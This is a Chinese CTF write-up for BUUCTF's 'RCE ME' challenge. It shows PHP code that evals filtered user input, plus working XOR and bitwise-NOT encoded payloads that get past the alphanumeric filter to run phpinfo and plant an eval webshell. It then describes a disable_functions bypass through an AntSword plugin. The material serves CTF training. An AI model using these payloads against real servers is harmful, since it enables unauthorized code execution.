[极客大挑战 2019]RCE ME
在线环境BUUCTF搜索
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
|
分析代码知道传入的值不能是A-Z,a-z,0-9并且不能大于40个字符
1
2
3
4
|
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// 这里进行异或绕过了
// 被解析为:${_GET}{%ff}();&%ff=phpinfo
|
再次构建payload
1
2
3
4
5
6
7
8
9
|
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
|
1
2
3
4
5
6
7
|
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6
// 传值得取反
code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
用web工具连接,蚁剑
|
在之前的phpinfo能看到很多函数被禁用了,蚁剑不能调用终端,所以得开代理下载一个蚁剑插件,在插件市场里,下载disable_functions的插件
然后在webshell连接页面,启用插件,选择模式 PHP7的UAF
在根目录看见readflag,运行的得到flag~